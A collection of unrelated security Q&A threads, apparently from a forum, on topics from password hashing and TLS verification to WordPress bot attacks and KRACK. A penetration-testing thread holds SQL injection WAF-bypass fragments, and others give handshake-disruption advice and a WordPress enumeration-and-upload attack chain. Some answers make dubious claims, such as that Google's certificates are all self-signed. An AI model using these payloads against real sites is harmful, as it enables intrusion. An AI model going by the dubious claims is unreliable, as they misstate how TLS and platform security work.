Is it better to hash n*x times in sha1 or n times in sha512 on the client side? I already know I"m going to hash the user's password n times in either sha512 or n*x in sha1 before it is sent to the server. Once at the server, I'm going to use bcrypt set to use ~1/100th of a second. Before I move on, onto my reasoning behind using sha512 instead of sha1, I'd like to state a few things. First, I know that client-side security is a joke. Second, I know that a Man-in-the-middle attack could strip the page's javascript of the hash function. Finally, I realize that this will mean that people will not be able to login without javascript being enabled.

I am currently using sha512 set to use ~1s in ie8 [2], it is setup as such.

Take the user's password and username.
Add a static-nonce(to lengthen it really and nothing else).
Hash it via the hashing function, in this case sha512.
Take that hash, hash it via sha512 with the current loop number packed into a single byte.
repeat step 4 n times.
Once it is done, take that value, and put it into the password field.
finally allow the system to POST to the server.

Now then, what is the advantage of doing n*x hashes of sha1 vs the n times of sha512. The entire point behind using this system is that, in the event of a database leak the attacker will have to increase the amount of time spent trying to find the password by z time. Also, by hashing it before it even gets to the server(along with using TLS), it makes it, so that, in the event of some weird bug, the password is never seen as plain text.

I believe that sha512 is a better choice since there is already broken sha1 and thus it's security is not worthwhile, but on the other side. The fastest javascript library I've found for sha512[1][] is ~50 times slower than native code, but the fastest sha1 library that I've found is only ~17 times slower than native code.

Thus it is a question of is the broken sha1 going to cause a greater loss in overall security and thus slowdown of an attacker than doing less iterations of sha512 which as of right now none of the sha2 family is remotely broken. Has anyone else dealt with this issue before?

[1]: that via fuzzing results in the same hash as the c implementation/php one results in the same hash for ~300 inputs.

[2]: One year after ie10 is out, I'd like to drop support for ie8 so that I can move up the number of hashes to something more reasonable.

This sounds a bit stretched, maybe counter-productive, sub-optimal and it doesn't really offer much added security. The "password" is actually seen in plaintext, because the password is the string you finally send in the place of the real password. What exactly are you trying to achieve?

In any way, if you are really trying to have the 'real' password 'not being seen in clear text' (and don't trust ssl) you should be looking at implementing a challenge-response protocol.
This is usually the way one goes about if he does not want the password to be transported in the clear (or something resembling the password as in your case).

Now if you really want to go on with your plan, and still do that client-side trickery you describe, SHA-1 is perfectly fine for that. Even MD5 is fine and considerably faster. The 'talk on the street' about those functions not being secure is about collisions - which is something you probably don't care in your implementation. Also you can have a look at http://www.jcryption.org/ , it's a jquery library that does asymmetric encryption of html forms.

But, again, I strongly advise against this whole implementation.


How to present our browser's public certificates (self signed)? I would like to make secure connections with the internet using my own self signed certificate.

I do not understand that if I want to make a  connection with www.google.com, how will it provide a public certificate(self signed) to my browser? Assuming my browser has installed self signed certificate as a trusted root CA.

make a connection with www.google.com, how will it provide a public certificate(self signed) to my browser?

You seem to be confused about how SSL/TLS works.

Google is maybe a bad example to choose - its a certificate authority who can issue certificates recognized by most browsers. So all its certificates are self-signed.

If you have created a client certificate, that has no impact on how google's service presents its certificates.

Your client certificate only has some relevance when you connect to a service which expects to see a client certificate. While widely used within and between organizations, I'm not aware of any public services using private certificates.

Unless you have some sort of relationship with the service provider and their service is specifically configured to handle client certificates, your certificate will be ignored.

As to the case where a provider has said that they expect, and can handle client certificates, it would be very unusual (i.e. incompetent) for them to invest any trust in a self-signed certificate unless

you have made some provision to provide them with the public key of the certificate or the signing certificate via a secure channel,
OR there a subsequent enrollment (e.g. making a payment) using the connection secured by the client certificate which then forms the basis of the trust


Does using a MAC for encryption remove the need for PKCS7 padding with this class? I am working with this PHP encryption class using MCRYPT_RIJNDAEL_256 and MCRYPT_MODE_CBC with a fixed 32-byte (64 character) HMAC key, as my basis.

The class is a result of previous discussions and remarks made on this blog page. and seems like a solid implementation as such. However there are a few aspects discussed I am still not clear on:

  The only thing it adds is predictable plaintext positions which will
  aide a cryptanalyst. I recommend removing the serialization and using
  PKCS7 padding.

comment 1304.

Now that the encryption method uses HMAC and that the serialization avoids the '\0' padding issue. Is it still a good idea to use a PKCS padding even when the HMAC is used (and the serialization kept)?

Or in other words, does the HMAC alone solve the "predictable plaintext position"?

My assumptions about the goods for serialization, is that it would seem to make the text length less predictable, even is the message is one plain text string, say for short predictable length, especially for a fixed size number. Though, I just want to make sure that the serialization is not a counter negative.

There are separate requirements for performing deterministic padding mode and providing an authentication tag.

The padding is required for ECB and CBC modes of operation. These modes only handle messages that are N times the block size in length. The standard PHP padding is not deterministic if the message may end with zero valued bytes.

The authentication tag (provided by a HMAC, for instance) is required to protect the integrity of the message and to show that it was send by the expected sender (authenticity). If integrity of the ciphertext is not validated then any attacker may send or alter messages (active attacks or man-in-the-middle attacks). This may even break confidentiality if padding oracle attacks are possible.

So you should try and use PKCS#7 compatible padding even if you provide a HMAC and especially if your messages may end with zero. The comment about "predictable plaintext positions" may be ignored; you should expect attackers to know a certain amount of information about the plaintext (such as the size of the plaintext). This is OK as long as the integrity and confidentiality has been safe-guarded.

Note that the author of the article seems to acquire quite a bit of education from the comments. The fact that the author confuses Rijndael with a block size of 256 bits (MCRYPT_RIJNDAEL_256 in PHP) with AES shows that the author doesn't know much about cryptography at all.

You should not trust this code. You need to understand cryptography before using a library or code snippet. At least try and use a well known container format if you're unsure. Anybody can apply AES. At least 90% of StackOverflow (where this question was posted before) however applies it incorrectly.


using HW random number generator as source of entropy Currently I am using haveged on my server as source of entropy.

My Server is used as KVM hypervisor, to run virtual machines.

I did not use haveged at the beginning, and I noticed the VMs were draining the entropy pool from the server. Sometimes, when VMs were started SSH waited for enough entropy (to generate session keys, I guess).

Now with haveged, I don't have this problem anymore.

But I would like to try to use a HW random number generator. I am not saying haveged is bad, but true HW random number generator can only make the entropy better.
I have seen some HW RNG which work on basis of Geiger counter, some which collect noise from microphone, and so on.

Which are most reasonable to use ?
Could somebody perhaps recommend some specific one ?

Ideally, I would like it to be connected over serial port. Second best would be over USB.

Haveged has already been contested and does not guarantee TRNG.

You should get a hardware certified device like QRNG .
It is a certified device and has passed many compliance tests including NIST SP800-22.

You can also find an USB stick device which claims it passes tests like Dieharder, ENT, Rngtest, FIPS-140-2.

These 2 should definitely be better than Haveged.

Other things you mentioned like Geiger or noise are also determinable/predictable.


Why is Kali Linux often used as a VM guest and not as the host? I'm trying to enter the world of pentesting, and I've gone through quite a few tutorials in the past few days, and noticed that there's nearly no information regarding exploiting virtual machines while using Kali as the VM host.

Is there no data/research available because no one's tried it, or... There are some limitations, due to which, there is no data?

In typical pentesting, Kali is just another tool, it's insecure by default, and is never recommended to be run as your primary OS without some serious baseline hardening. It's typically launched (as a virtual machine) when needed and "paused" or "stopped" when not. This helps keep your host (and files) protected.

Additionally, Kali is known to have bugs and occasionally with pentesting tools, you can bork your system. Virtual Machines allow you to take snapshots that you can revert back to in the event that you hose something.

Some people even revert after every client just to ensure that no data can leak from one organization to another because of the tester.


What is this spam bot trying to do by filling in my PHP forms randomly? I have been getting a lot of bot spam lately. The most recent one has this as the body:

  already to standards Address is is required return
  ?  then with local include accurate Another they in  ?  and make items
  the still their and a  ?  solitary of suspend My still buy Australia, the
  ?  safe to of security to totality. requirements. locations

Can someone please explain what they are trying to do by just putting random words in my text box?

I'm violating this site's guidelines by merely speculating, but my guess is that Attacking Host A tries to insert [some string] onto your site through a form and Attacking Host B tries to read [some string] from your site. You may notice the attempt and may blacklist the IP address of the form spammer, but if you are vulnerable the real attack won't come from that IP address. The form spammer is a disposable scout; it simply "tags" sites as vulnerable and moves on.


Lightweight terminal protocol for IoT For IoT devices with limited resources (e.g. embedded system with 32 kB RAM, 128 kB Flash memory, running an RTOS such as FreeRTOS, small TCP/IP stack such as lwIP):

It might be useful to have a terminal type protocol for debugging or testing. However, telnet is not secure, while SSH seems sufficiently complicated so that it's difficult to implement and fit into such a small system.

Are there any lightweight yet secure terminal protocols that are suitable for such a resource constrained IoT system?

Pragmatically, is it possible to cut down SSH to a lean implementation, e.g. with AES but no 3DES, even though the latter is technically mandatory for a conformant SSH implementation?

If you only need this for testing and debugging, why do you need it to be secure? You should not be debugging live systems while they are in a potentially hostile environment where a secure protocol would be needed. Considering the fact that even the very lightest secure protocol would eat up a significant portion of system memory, it would be silly to allocate such a high amount of resources for just debugging and testing. What you should do instead is only test your devices when you have physical control over them, ideally over a physical network link.

32 kB of RAM is really pushing it. Even Dropbear cannot run on a system that limited. Even doing TLS will be difficult, as WolfSSL may barely fit. The WolfSSL SSH library requires a minimum of 33 kB. It's likely that you'll need to develop this yourself, which should not be too difficult if you are using FreeRTOS. There is likely nothing that you can simply drop in to a 32 kB system.

If you are using Contiki as an RTOS, you may be able to use this TLS/DTLS implementation. It requires slightly more memory than 32 kB, but you should be able to strip it down sufficiently if you are familiar with embedded programming and optimization and don't need all the features.

When you begin to use systems this constrained, each individual system will have different priorities. As a result, no one creates a one-size-fits-all library for something as complicated as a secure remote access protocol. You are generally expected to be able to implement it yourself to fit your exact needs, either from scratch or by forking an extremely lightweight library. If you are not likely able to do this, you may have to rethink either your hardware and switch to something other than FreeRTOS, or your threat model (and communicate with the system over a secure medium).


What is the impact of leaked recaptcha secret key? Due to server configurations, our recaptcha secret key was publicly readable.

The key has been updated to a new one, but what is the actual impact of a malicious user getting a hold of the key?

Documentation is not clear on the impact

  The secret key authorizes communication between your application backend and the reCAPTCHA server to verify the user's response. The secret key needs to be kept safe for security purposes.

Not the answer I would have guessed, but:
In this particular case there is no impact.
Which seems like a bold statement for a leaked secret key, but in this one case I believe the warning about not leaking the secret key is more about best practices than actual concern.  Since that is a rather unusual answer, I'd like to break down the things that would normally be a concern and explain why they aren't applicable here:
1. Circumventing the captcha verification
This is obviously a primary concern - if the leaked captcha secret key allows an attacker to circumvent the captcha protection, then you have a serious problem.  However, the way the recaptcha flow works makes this impossible.  Most importantly, the verification is done by sending the user's response to a google API (using the secret key) and checking for confirmation.  Moreover, the response can only be checked once specifically to prevent replay attacks.  This simply leaves no room for an attacker with a secret key to place themselves in the middle and fake a confirmation.  It's really as simple as that.
2. Broad access credentials
In many cases a single key can be used to authenticate for multiple services.  You could imagine a secret key that is used not just for recaptcha but also for other administrative tasks in the google cloud system.  Leaking such a key would be very dangerous, as it would potentially have a nearly limitless impact.
As it turns out though, the keys for recaptcha seem to be limited only for use in the recaptcha system.  Apparently this is a little bit isolated from other google services, and it doesn't appear possible to create a key that is used for anything other than recaptcha.
3. Use of paid services
If you pay for a service based on usage, then gaining access to the secret key effectively gives someone the ability to use the service and make you pay for it (although in this case you would also have to have a permissively configured public key).  Of course this service is free, so that doesn't help anyone.
4. DoS through rate limiting
This one may be a concern, although I don't think so.  Many free google services have rate limiting to prevent excessive usage, or to move you to a paid tier depending on your usage level.  If the verification endpoint is rate limited than an attacker with your secret key could spam the endpoint fast enough to effectively DoS the key, preventing your service from verifying captchas.  The impact that this has depends on how your service handles rejected verification attempts.
However, I don't see any mention of rate limits in the documentation.  This doesn't necessarily mean there is no limit, but if there isn't a limit then this attack definitely isn't possible.
Summary
It's possible I missed something, but I believe that for a recaptcha secret key there is no actual impact due to a leak.  I would still follow the suggestion and keep it secret.  It's always best to practice best practices.


Paypal IPN, SSL and man-in-the-middle attacks Okay, suppose I have been implementing paypal IPN, and my server will respond by verifying with "https://www.paypal.com/cgi-bin/webscr" and got the VERIFIED message back.

First, if my server connects to paypal using SSL, will it guarantee that there'll be no man in the middle attacks, such as someone sending the fake IPN commands, and intercepting my IPN verification messages and sending a fake VERIFIED message?

Second, would having my own SSL certificate help in security in any way? They're not that expensive, but just wondering what their actual significance is. I suppose it might be useful for getting that green bar in the users' browser at any rate.

This should be secure against man-in-the-middle attacks if your machine checks that it has received a valid certificate for Paypal from its correspondent.
Be warned that some SSL libraries leave it up to you to implement/request this check, so you will need to carefully confirm that your code is performing that check.  (Since your machine is initiating the HTTP request to Paypal, for purposes of the SSL protocol, your machine is the client and Paypal is the server.)

No.  Buying your own certificate doesn't help with this communication with Paypal, when your machine is initiating a HTTP request to Paypal.  (However, there might be other reasons why it is good for your users to connect to your site via HTTPS rather than HTTP, which does require a cert.)


GRC Shields Up test - are stealth ports good? I used Steve Gibson's ShieldsUp test at https://www.grc.com.

All Service Ports test says that everything is green (stealth) expect one blue (closed).
I tried several times and one time, it gave me 2 blue, rest green. Blue seems to change location/port.

GRC Port Authority Report created on UTC: 2017-01-09 at 12:30:20
Results from scan of ports: 0-1055

0 Ports Open

1 Ports Closed

1055 Ports Stealth

---------------------
1056 Ports Tested

NO PORTS were found to be OPEN.
The port found to be CLOSED was: 135
Other than what is listed above, all ports are STEALTH.
TruStealth: FAILED - NOT all tested ports were STEALTH,
- NO unsolicited packets were received,
- NO Ping reply (ICMP Echo) was received.

**Solicited TCP Packets: RECEIVED (FAILED) — As detailed in the port report below, one or more of your system's ports actively responded to our deliberate attempts to establish a connection. It is generally possible to increase your system's security by hiding it from the probes of potentially hostile hackers. Please see the details presented by the specific port links below, as well as the various resources on this site, and in our extremely helpful and active user community.**

Unsolicited Packets: PASSED — No Internet packets of any sort were received from your system as a side-effect of our attempts to elicit some response from any of the ports listed above. Some questionable personal security systems expose their users by attempting to "counter-probe the prober", thus revealing themselves. But your system remained wisely silent. (Except for the fact that not all of its ports are completely stealthed as shown below.)

Ping Echo: PASSED — Your system ignored and refused to reply to repeated Pings (ICMP Echo Requests) from our server.*

Is it good I got so many stealth?

But what about the TCP Packs failed?

That is explained on his Internet Port Status Definitions page:

A "Stealth" port is one that completely ignores and simply "drops" any incoming packets without telling the sender whether the port is "Open" or "Closed" for business. When all of your system's ports are stealth (and assuming that your personal firewall security system doesn't make the mistake of "counter-probing" the prober), your system will be completely opaque and invisible to the random scans which continually sweep through the Internet.
Even if this machine had previously been scanned and logged by a would-be intruder, a methodical return to this IP address will lead any attacker to believe that your machine is turned off, disconnected, or no longer exists. You couldn't ask for anything better. Your personal firewall or NAT router protected system is acting like a black hole for TCP/IP packets. That's very cool.

So yes, stealth is good. It's better then closed becaused closed ports tell an attacker There's something here. Especially with well-known ports they know what software is running behind those ports and could try attacking that (e.g. trying if port knocking is supported).
Port 135 being closed is good; all ports stealth would be better (that 'says': There's nothing here).
As for the question about other ports not being stealth, we cannot say much more since you do not mention which ports they are, and what is keeping them open. That would be for you to investigate and is a different question.
There are plenty of questions on this site about open ports (read those first)


Blocking EAPOL packets Is it possible to block EAPOL packets?
What I'm trying to do is block the 4th message of the 4-Way-Handshake in order to trigger retransmission of message 3.

This is what I thought to do. I'd like to know if it's possible or not:

ARP-spoofing to set up a Man-in-the-Middle
Sniff the traffic
Deauthenticate the client to start a new handshake
Block the 4th packet of the 4-way handshake, so that the Access Point will not get it and will send the 3rd message again.
Forward all other packets

Is this actually possible or there is a better and more efficient way to do it?

You can't do that as stated. ARP spoofing causes a MitM at the IP layer. The 4-way handshake happens in a lower layer, and well before the device obtains an IP address.

You can't prevent the access point from receiving the 4th EAPOL frame without RF jamming. However, there may be ways to desynchronize the state of the handshake such that your desired result is achieved. As schroeder mentioned, Scapy would be ideal for this. For example, sending a deauthentication frame to the AP immediately after message 3 will break the process, causing the client to think it is authenticated when it is not. This causes the client to repeat the handshake once it eventually realizes the state.


Is it possible to scan the top X UDP ports and the top Y (X!=Y) TCP ports in Nmap using a single command? Given X!=Y, is there any way to scan the top (--top-ports) X TCP ports and the top Y UDP ports using a simple Nmap command?

The --top-ports parameter affects both the TCP and UDP scans (e.g., when -sSU is used).

If exists, short/simple command is preferred.

From this post it looks like the best way to do this would be to find out what the port lists for each option are and then supply them as a list of ports to scan on the command line, as you can specify different lists of TCP and UDP ports to scan using the -p option by using T: and U:

To quote the relevant part of that post

  but I first generate the list of top UDP ports (10 in this case):

  ./nmap -oX - -sU --top-ports 10

  The output 'scaninfo' line includes the services list in Nmap format:

  53,67,123,135,137-138,161,445,631,1434

  So then I can run Nmap with:

  -p T:1-65535,U:53,67,123,135,137-138,161,445,631,1434 `


Is it useful to have a wp-admin page for a non-wordpress website? I have a non-wordpress website running on a not-so-powerful server. Bots often try to find admin pages (such as wp-login/wp-admin), which increases the bandwidth that is used. Here, in a comment, MSalters mentions that I could return a non-standard error code to mess with the bots. Will this help stop the bots from preventing legitimate users from accessing the website by consuming all of the bandwidth?

Bandwidth? Preventing legitimate users? Unlikely!

This is not a denial-of-service (DoS) attack in nature.

These are brute-force login attempts. They are short POST and GET requests with short replies – not downloading huge files. Replying 200 OK vs. 403 Forbidden or 404 Not Found consumes relatively same amount of bandwidth, which is next to nothing. Configuring the server to reply with 403 might save you from an extra file system access, though, which means a little less system resources is spent.

Also, it's not like the bots are flooding requests; e.g. in the last 24 hours my honeypot has got 248 POST request, which is approximately 10 attempts in an hour. Most certainly any web server can handle this background noise of the Internet.

These attacks have opposite goal than DoS attacks

The currect approach for typical WP attacks seems to be using botnets for broad scans (many sites), moving slowly to the next phase. Proceeding slowly from a wide set of IP addresses they can avoid being Fail2Banned. The attack is not targeted against your server, but it's about finding the weakest link i.e. the one with the weakest (administrative) password.

Enumerate users. There are several possibilities to get valid usernames from a WP installation:

/?author=1 will give you articles from the first user by redirecting to /author/username/, etc. The attack could enumerate all users, but it's likely the first user is an administrator.
The /wp-json/wp/v2/users API gives JSON output of all users, username in slug:.
The login form itself gives different response when the user exists.
XML-RPC. Disable XML-RPC and REST API from your WP if you don't use them!

Use password lists against these users. Usually leaked passwords.

Recently I've seen e.g. password from the rockyou.txt list (back from 2009).
Passwords today are amazingly similar to the 2019 findings from wpdevguides.com's honeypot.

Once succeed, try and upload a malicious plugin or a theme.

POST /wp-admin/update.php?action=upload-plugin is used for uploading plugins.
POST /wp-admin/update.php?action=upload-theme is used for uploading themes.
It's all automated: you don't see someone downloading all the JS/CSS/images that accessing the admin page would produce. It's just a single GET to test the access and POST to upload the malware.

Hide the tracks.

Typically, the uploaded plugin or theme is just for giving one-time access to the installation files. If the malware was a plugin or a theme, you'd be able to uninstall it.
Instead, you could see a direct access to the script that does some other modification, maybe to the core installation or another theme or plugin. This could be anywhere. Once the payload is hidden, the plugin/theme launches a self-destruction. Everything seems to be just fine, and once the logs have rotated and removed, all tracks are gone.

Even if you had a WordPress installation, the goal is not to make the site unresponsive to the legitimate users. That would reveal the malicious actions. The real goal could be e.g. stealing information like credit card numbers or PII, or making the installation part of the botnet for infecting more sites.


What steps remain for a robust, neutral and surveillance-proof Internet? Recent leaks about widespread NSA surveillance have brought privacy and security to the forefront of the public consciousness as we strive to determine best practices in governance for the Internet era. People are also concerned about network neutrality and how the Internet currently relies on protocols (such as DNS) that require regulation by central authorities, which increases the potential for abuse by oppressive and corrupt regimes.

My question is: what efforts are currently underway to develop alternative secure distributed protocols that do not rely on central authorities? Which initiatives are the most mature? What critical pieces of infrastructure are still missing? What projects would be good to contribute to in this regard? Will we ever get to a point where the core protocols are robust and secure enough that surveillance and centralized control of the Internet becomes effectively infeasible?

Bitcoin brings with it the blockchain protocol, which in my opinion is one of the most exciting solutions to decentralization problems that exists today.

Namecoin and dot-bit have already leveraged the blockchain protocol to provide a decentralized DNS. In principle, as long as the majority of participants in the network, or miners (>50%) agree to honour the data in the blockchain, DNS records stored in it will be treated as valid and correct. No entity can affect that without control of more than 50% of 'mining' nodes.

You have really asked several questions here, but I believe this is the most significant answer to your most significant question - how can we create an Internet which is specified based on what the majority want?

The only pitfalls to the blockchain protocol in terms of enabling a centralized control of Internet functionality are that participants may require incentive to validate the data (mine). For the Bitcoin blockchain, this incentive is a currency which has value. For the Namecoin blockchain, it is that you can purchase domain names - however since this is so cheap, the only remaining practical incentive is if you care about the system and want it to remain under decentralized control.

Therefore for decentralization to work, for the current best solution, we need all participants to have a respect for the goal of decentralization and to make an investment to mining to preserve it.


How to protect a website from DDoS without a CDN? I have basic knowledge in Bash and with that knowledge I rented a remote machine in a mostly-self-managed hosting platform (DigitalOcean) and raised a LEMP environment on which I have a website.

I protect my environment with SSHguard. I applied automatic WordPress updates from the CMS CLI. I've established automatic backups of my data.

I tried to ask different people much more experienced in security then I am how to protect from DDoS (after other hardening I did), and everyone suggest me of using a CDN.

Is there really no other way?

I don't want to use a CDN because it an entire system I no desire to utilize if I don't have to.

Do I have any "non-overkill" option left?

While this won't protect from particularly heavy DoS attacks, you can use a VPS service that provides protection against such attacks as part of the regular package. OVH is one such company that provides attack mitigation to all their VPSes. You can either host your site on their servers directly, or run a GRE tunnel through it, giving you the DoS-resistance of the VPS while still allowing you to have the flexibility of running your site on whatever hardware you choose. There are also services that are resellers of OVH, such as one service I used to use which has served me well.

Note that OVH is based in France, so French law applies to any traffic going through it. One other note is that OVH tends to disable TLS handshakes under particularly severe DoS conditions, which can be problematic for sites that exclusively use TLS (e.g. sites that have HSTS). And of course, it is not the only managed VPS host which provides low-cost DoS protection. There are many like it.

I am not affiliated with either Internetz.me or OVH.


How to best limit SQL injection attacks that are being funneled through an Apache proxy I control I use an Apache proxy to funnel traffic to an IIS server. The IIS server sends me emails if some bad actor attacks my site with an sql injection attack. It captures their IP address, and sends me the URL that was used.
The other day I got 8,400 emails in 50 minutes, nothing my mail server can't handle, but all from some IP proxy in the US.
Now I am thinking of hardening my code by adding some time sensitive (hindering) factor into the equation. The idea is to send them a redirect to somewhere else (fbi?) for a set time period, after an initial warning; provided they reach that emails code.
Should I have IIS handle this (simple to implement,) or is it better for Apache to handled it? I would think so it there is such a function in Apache.
In IIS I could start a session logging IP addresses of bad actors, and block their access to the site. Or has Apache something that could block these request for a set time period?
And how would I implement this IIS to Apache handover, maybe via some header?

Now I am thinking of hardening my code by adding some time sensitive
(hindering) factor into the equation. The idea is to send them a
redirect to somewhere else (fbi?) for a set time period, after an
initial warning; provided they reach that emails code.

Most attacks are automated, so it's likely that your warning will not be seen or taken into consideration. Besides, the bad actors should normally be hiding their real IP address and using some proxy/VPN.
If I understand this right, the Apache server acts as some sort of reverse proxy. I would set up the front-line defense on the Apache server first instead of the IIS server.
What I would do is simply block the IP addresses at firewall level, automatically. In Linux this can be done with tools like Fail2Ban or CSF+LFD. These tools work by watching log files in real time and add firewall rules to ban offenders from making any further connections until the ban expires. They are mostly used to watch failed SSH attempts but also monitor other services such as POP/IMAP/SMTP/FTP etc.
You may need to add a custom rule and point to a specific log file but that shouldn't be too difficult.
Plus, Apache has a WAF module AFAIK. There may be some tools already available for the purpose.
Bottom line: don't contain the attackers, block them. You can have fun with the wannabe hackers and frustrate their efforts but I feel that blocking them is more straightforward and will save server and network resources.
At some point, your server may have to handle hundreds or thousands of concurrent malicious requests and your server could literally be overwhelmed fending off the attacks.


How do you verify a certificate belongs to a domain? I'm using PHP and trying to verify a SSL certificate belongs to the SMTP domain/IP I'm connecting to.

Currently I can verify the certificate is valid using the following code

$resource = fsockopen( "tcp://mail.example.com", 25, $errno, $errstr );

...

stream_set_blocking($resource, true);

stream_context_set_option($resource, 'ssl', 'verify_host', true);
stream_context_set_option($resource, 'ssl', 'verify_peer', true);
stream_context_set_option($resource, 'ssl', 'allow_self_signed', false);

stream_context_set_option($resource, 'ssl', 'cafile', __DIR__ . '/cacert.pem');

$secure = stream_socket_enable_crypto($resource, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
stream_set_blocking($resource, false);

if( ! $secure)
{
    die("failed to connect securely\n");
}

Based on the documentation it seems like I need to do something like this.

stream_context_set_option($resource, 'ssl', 'SNI_enabled', true);
stream_context_set_option($resource, 'ssl', 'SNI_server_name', 'expected.example.com');

How do I verify that the server I'm connecting too has a valid cerificate for expected.example.com? Should I do a rDNS check first? What if the DNS was altered by a MITM attack?

SNI is Server Name Indication; it is not part of any verification. A client uses SNI to inform the server about the name that the client is trying to reach; the name is sent in the early steps of the SSL handshake. This is meant to support multiple servers (that is, multiple names) sharing the same IP address: the SNI tells the server which certificate it should use for this particular connection.

This certificate-choosing is important because clients expects the server's certificate to contain the name that they want to reach. And this "expectation" is precisely what you should do: you need to inform your SSL implementation that you want to reach a server with a specific name (mail.example.com, apparently) and that the server's certificate MUST contain that name (this is crucial: without this test, an active attacker could feed you his own certificate and silently hijack your connection). It seems that this is done with the CN_match option.

(Of course you can use SNI; it is even recommended because it may really help the server. But that's not SNI which protects you against MitM attacks.)


Security of different OS At my work we are given a computer to set up at home so if we ever feel like working from home we can do so.
The thing is that whenever it comes to developing for java I always prefer using windows or linux as long as it is not mac(it is just preference choice, I do not have a valid reason for liking it except that mac is slightly unfriendly when it comes to java).
And at my work everyone does use Windows OS for development (we have a super almost unpenetrable firewall and half the websites are blocked with baracuda). However for home computers we are forced to use a Mac. When I asked why not windows, I was given an explanation that if I want to connect to my work servers or if I want to access my remote desktop then it is safer to do so using a mac, and that it is much more difficult to infect a mac.
Now I am not a security expert nor am I aware what are the downfalls. So might anyone give me some good pointers if their claim is true, and if so what kind of virus might I get on windows that I can't get on Mac given that I will be using work computer purely for work purposes, which includes going on programming websites only, and sshing to work and also using remote desktop.

If you do not have a valid reason and post for preference then please do not post anything here. I simply would like to know if there really is that much of a security hole in windows where using it at home without a good firewall and protection is unsafe in comparison to mac.

It is unquestionably less likely that a Mac will be infected by any sort of virus. There are two reasons which have nothing to do with the baseline security of the OS:
Reason 1: Low interest
The first, and most commonly cited, is the lack of interest on the part of attackers. Mac malware is rare because its market share is small. Malware authors want high distribution, and since the Windows share is many times larger than all competitors put together, the target decision is pretty clear.
Reason 2: Herd Immunity
But the second factor is easily as important, though it stems from the same root. Many types of malware (and in particular the type that this company would worry about in this context) use infected machines to attack other machines, targeted at random. This creates a network effect such that more potential hosts there are for an infection, the easier it is for the infection to spread. Unless the vector can effectively target both Windows and the alternative OS, the large population of immune Windows computers would block transmission, conferring a sort of herd immunity protecting the smaller OS.
Since OSX represents such a tiny percentage of the total installation base, not only are there fewer possible targets to choose from, but there are fewer possible sources of infection. A single infected host may never find another to which to transmit its malware, so the threat can't spread.
Combining these together means that the proability of infection on OSX is vanishingly small, well within the noise. If you switch to an even less popular OS, such as Linux, the effects compound further, making your chance of infection  effectively nil.
But note that OSX and Linux are not soft targets, as was otherwise suggested.
While these Linux and BSD (the base OS of OSX) are not as popular on the desktop, they're significantly more popular in server and high-security environments. Your "unpenetrable firewall" -- yep, it runs Linux.
So while these are rarely attacked in the context of user-interactive environments, Linux and BSD are constantly under attack in a automated/headless context. These OSes are battle-hardened and constantly vetted by the best eyes the industry has to offer, with many businesses sinking millions or more into their security. And since in this context (as opposed to desktop usage), security matters more than convenience, features, and ease-of-use, this means that when a security-related trade-off is presented, the builders of these OSes more frequently choose security at the expense of other usability points.
A good example of such a trade-off is Microsoft's insistence on doing font rendering in the kernel. The reasoning is that it makes display updates faster, a fact which technically remains true today, but which was much more important back in the '90s when the decision was initially made. As a result, Windows has been subject to numerous privilege escalation vulnerabilities, the latest of which was patched only weeks ago. Windows still does font rendering in the kernel, and will almost certainly see another related vulnerability again in the future as has happened so many times already.
So are you safer with OSX or Linux?
Yes. You could argue about why you're safer; whether it's market share, design, target preference, or any other aspect. But the fact that you're safer is a given. You're less likely to be attacked, you're less likely to be infected. And even the most successful malware would have trouble tearing through the OSX or Linux desktop community because targets are few and far between.


SQL injection that bypasses website's firewall that filters table by its prefix There is a website I am assessing for security breaches. It has Joomla 1.5.x with MySQL 5.5.24 and PHP 5.3.2.

I am doing a penetration test, that exploits SQL injection. The thing is that WAF filters many injections.  that have table name prefix: ...UNION SELECT * FROM **prefix__**tablename?

Worked:

.../*!UNION*/ SELECT * FROM information_schema.columns

Didn't work or was filtered:

...UNION SELECT...`
.../*!UNION*/ UNION SELECT * FROM prefix_tablename`
.../*!UNION*/ UNION SELECT * FROM prefi/**/x_tablename`

TL;DR, no.

If the WAF is configured correctly and doing its job, you have no way of injecting that info. Javascript allows variation of "script" for XSS etc onclick=alert(XSS pwn'd!) instead of <script>alert(pwn'd!)</script> etc), but SQL does not. SQL injections are, by and large, very fickle and require very precise queries with very precise order. If the WAF is blocking union or select, you're probably dead in the water. You might be able to find a fancy way around it, but unless the client is paying big bucks and you're ready to spend a week on it, it's probably best to move on to another vulnerability.

It's unfortunate - I've done many penetration tests where compensating controls are used in place of secure coding. However, frustrations and bad practice aside, it is what it is.

PLEASE NOTE this doesn't mean joomla, PHP and whatever else doesn't have other vulnerabilities that can be exploited. Exploit-db.com is your friend here. Joomla 1.5 has 86 results in exploit-db.com, and PHP 5 has undoubtedly hundreds if not thousands. Please remember: penetration testing and vulnerability scanning is all about ENUMERATION!


KRACK: will there be an exploit soon? Given that the probability is high that there are unpatched devices left even years from now (android devices, IoT-Things, etc.):

Is it likely that there will be an exploit available soon? I think of the consequences, especially with packet forgery and still not widely used HSTS, would warrant development of an exploit and foresee a second big wardriving instance.

While it is easy for tech-savvy users to set up a VPN, for the regular user it isn’t.

Are there good reasons (for example high computational complexity of a successful attack) to make it not worthwhile to widely deploy Notebooks or pi‘s carrying out the attack with a generalized exploit?

How about botnets/Trojans with WiFi capabilities? Could they easily deploy an exploit to a wide range of (private) targets, making it less of a local attack?

The question is not whether there will be an exploit but what will be the range of upcoming exploits.

This vulnerability receives so much attention precisely because of its impacts.
Would it be a theoretical weakness reserved to potential state agency or a thing easily fixable as part of automatic update processes, nearly no one would have ever heard of it outside of the IT-Sec world.

But the real question in such situation is: what's next?

Once a security flaw is published, it attracts a worldwide attention to a specific piece of code, usually resulting with other flaws being found or other ways to use the discovered flaw with more impact or efficiency.

Simply look at the flaw discoverer, Mathy Vanhoef: between the time he wrote his paper and the time he publishes it he himself discovered new techniques making some attacks significantly easier than what he initially thought.

So bring this to a worldwide scale, and you understand why Mathy chose to end
his KRACK Attack page as follow:

  So you expect to find other Wi-Fi vulnerabilities?

  “I think we're just getting started.”   Master Chief, Halo 1

If you remind of the WEP total failure, the issue was not to be found in a single security issue but in a series of several flaws:

It is possible to replay some packets.
Some cryptographic initialization may be reused.
The encryption strength is limited.

Taken alone, they are not very powerful. But associate them, using the replay attack to force initialization vector to be reused and allow to break the encryption key, and WEP becomes fully broken with war-drivers roaming across streets.

